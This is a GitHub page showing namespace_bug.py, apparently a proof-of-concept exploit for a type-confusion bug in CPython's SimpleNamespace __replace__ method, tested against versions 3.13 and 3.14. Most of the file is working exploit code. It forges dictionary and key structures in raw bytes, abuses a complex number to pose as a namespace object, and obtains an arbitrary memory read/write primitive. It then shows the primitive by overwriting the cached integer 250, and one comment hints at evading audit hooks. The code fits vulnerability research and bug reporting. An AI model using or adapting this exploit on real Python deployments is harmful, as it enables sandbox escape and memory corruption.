-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathnamespace_bug.py
More file actions
150 lines (126 loc) · 4.57 KB
/
namespace_bug.py
File metadata and controls
150 lines (126 loc) · 4.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
"""
Author: @Nico-Posada
Bug Credits: @Nico-Posada
"""
# TLDR: Type confusion bug to interpret any object as a namespace object.
# Gives us a fake dict primitive which we can make to have our evil obj in.
# Tested to work on 3.13.0, 3.13.1, 3.14.0 (GIL enabled version)
# Here is the vulnerable code as of 3.14.0
# https://github.com/python/cpython/blob/v3.14.0/Objects/namespaceobject.c#L226
"""
static PyObject *
namespace_replace(PyObject *self, PyObject *args, PyObject *kwargs)
{
if (!_PyArg_NoPositional("__replace__", args)) {
return NULL;
}
PyObject *result = PyObject_CallNoArgs((PyObject *)Py_TYPE(self)); // <--- does `type(self)()` which calls
type(self).__new__(type(self)), but we can control __new__
and return whatever we want
if (!result) {
return NULL;
}
if (PyDict_Update(((_PyNamespaceObject*)result)->ns_dict, // <--- assumes `result` is a namespace object without any prior checks
((_PyNamespaceObject*)self)->ns_dict) < 0)
{
Py_DECREF(result);
return NULL;
}
if (kwargs) {
if (PyDict_Update(((_PyNamespaceObject*)result)->ns_dict, kwargs) < 0) { // <--- assumes `result` is a namespace object without any prior checks
Py_DECREF(result);
return NULL;
}
}
return result;
}
"""
# with this bug we get full control of an arbitrary object that will be interpreted as a dict, so we can create a fake object
# and extract it when the __eq__ func of the object gets called during insertion of the item
# WARNING: A lot of fake structs need to be built, prepare yourself
from common import evil_bytearray_obj, addrof_bytes, i2f, p64, p32, p8
KEY = "my_awesome_key" # can be whatever string you want
class Catch:
__slots__ = ("mem",)
def __eq__(self, other):
global mem
mem = self.mem
return True
# see ./common/common.py for evil bytearray obj explanation
fake_ba, ba_addr = evil_bytearray_obj()
fake_obj = (
p64(0x1111) +
p64(id(Catch)) +
p64(ba_addr)
)
# PyDictKeyEntry
# https://github.com/python/cpython/blob/v3.14.0/Include/internal/pycore_dict.h#L74-L79
fake_key = (
p64(hash(KEY) % 2**64) + # me_hash
p64(addrof_bytes(fake_obj)) + # me_key
p64(0) # me_value (unused in this case)
)
# _dictkeysobject
# https://github.com/python/cpython/blob/v3.14.0/Include/internal/pycore_dict.h#L171-L215
fake_keys = (
p64(0x123456) + # dk_refcnt
p8(3) + # dk_log2_size
p8(3) + # dk_log2_index_bytes
p8(0) + # dk_kind
p8(0) + # padding
p32(0) + # dk_version
p64(1) + # dk_usable
p64(1) + # dk_nentries
b"\0"*8 + # indices (of size 1 << dk_log2_index_bytes)
fake_key # values
)
# PyDictObject
# https://github.com/python/cpython/blob/v3.14.0/Include/cpython/dictobject.h#L11-L33
fake_dict = (
p64(0x1234) + # ob_refcount
p64(id(dict)) + # ob_base
p64(1) + # ma_used
p64(0) + # _ma_watcher_tag
p64(addrof_bytes(fake_keys)) + # ma_keys
p64(0) # ma_values
)
import sys # sys isn't an audited import
SimpleNamespace = type(sys.implementation)
class broken(SimpleNamespace):
pass
# To properly exploit this, we need to find an object that lets us put an arbitrary
# value in the same spot as `ns_dict` in the `_PyNamespaceObject` struct
# Here is what that struct looks like as of 3.13.0
"""
typedef struct {
Py_ssize_t ob_refcnt;
PyTypeObject *ob_type;
PyObject *ns_dict;
} _PyNamespaceObject;
"""
# So we need to find an object that will allow us to put arbitrary data into obj+0x10, and
# wouldn't you know it, the complex object comes to save the day again
"""
typedef struct {
Py_ssize_t ob_refcnt;
PyTypeObject *ob_type;
Py_complex cval;
} PyComplexObject;
"""
# So we can use the `real` member of the complex object to store our arbitrary value, which
# is what the `evil` method below implements
def evil(*unused):
obj_addr = addrof_bytes(fake_dict)
return 0j + i2f(obj_addr)
# We have to create the object first then set the __new__ func or else calling `broken` will
# just return our complex obj and not an actual instance of broken lol
x = broken()
broken.__new__ = evil
mem = None
x.__replace__(**{KEY: "gg"})
if mem is None:
exit("failed")
print(type(mem))
print(hex(len(mem)))
mem[id(250) + int.__basicsize__] = 100
print(250) # => 100